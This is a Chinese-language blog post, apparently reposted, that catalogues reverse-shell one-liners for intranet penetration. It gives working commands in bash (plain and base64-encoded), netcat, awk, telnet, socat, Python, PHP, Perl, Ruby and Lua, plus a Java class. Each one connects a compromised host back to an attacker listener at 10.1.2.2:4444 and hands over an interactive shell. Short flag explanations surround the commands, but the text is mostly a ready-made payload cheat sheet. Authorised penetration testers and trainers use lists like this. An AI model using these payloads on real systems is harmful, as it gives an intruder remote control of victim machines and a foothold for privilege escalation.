论内网渗透中,反弹shell的各种姿势

论内网渗透中,反弹shell的各种姿势反弹 shell 是进入内网的第一步 也是权限提升用到的至关重要的一步 1 bash 反弹 攻击机 nc lvp4444 客户机 bash i gt amp dev tcp 10 1 2 2 44440 gt amp 1 命令介绍 nc i 使用监听模式 v 显示命令执行过程 p 指定端口号 e 执行给定的命令 bash i 使用交互模式 c 执行跟的命令 重定向 0 标准输入

反弹shell是进入内网的第一步,也是权限提升用到的至关重要的一步。

1、bash反弹

  • 攻击机:

nc -lvp 4444

  • 客户机:

bash -i>& /dev/tcp/10.1.2.2/4444 0>&1

命令介绍:

nc

  • -i使用监听模式
  • -v 显示命令执行过程
  • -p 指定端口号。
  • -e 执行给定的命令

bash

  • -i使用交互模式,
  • -c 执行跟的命令

重定向

  • 0:标准输入,1:标准输出,2:错误输出。
  • >输出重定向符
  • <输入重定向符号< p="">
  • >& 如果后面跟的是文件,则把标准输出和标准错误输出重定向到文件,如果后面跟的是文件描述符,则将左边的文件描述符重定向到右面描述符

/dev/tcp/10.1.2.2/4444

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 

base64版:

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' 
  • 在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

2、nc反弹

  • 攻击机:

nc -lvp 4444

  • 客户机:

nc -e /bin/bash 10.1.2.2 4444

nc 10.1.2.2 4444 | /bin/bash |nc 10.1.2.2 5555

3、awk反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
awk 'BEGIN{s="/inet/tcp/0/10.1.2.2/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' 

命令介绍:

awk

  • BEGIN 执行结果前执行的内容
  • END 执行结果后执行的内容
  • getline 获取当前行的下一行
  • close 关闭文件或管道

4、telnet反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
telnet 10.1.2.2 4444 | /bin/bash | telnet 10.1.2.2 5555 
  • 需要在攻击主机上分别监听4444和5555端口,执行反弹shell命令后,在4444终端输入命令,5555查看命令执行后的结果。

5、socat反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp: 10.1.2.2:4444 

socat

概述socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版

  • exec 执行一个程序作为数据流

6、Python反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
python -c  "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.2.2',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" 

7、php反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
php -r '$sock=fsockopen("10.1.2.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");' 

8、Perl反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
perl -e 'use Socket;$i="10.1.2.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

9、ruby反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
ruby -rsocket -e'f=TCPSocket.open("10.1.2.2",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 

10、Lua反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.2.2','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');" 

11、JAVA反弹

  • 攻击机

nc -lvp 4444

  • 客户机:
public class Revs { public static void main(String[] args) throws Exception {         Runtime r = Runtime.getRuntime();         String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/10.1.2.2/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};         Process p = r.exec(cmd);         p.waitFor();     } } 

javac编译,java执行即可成功

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/198704.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午2:39
下一篇 2026年3月26日 下午2:40


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号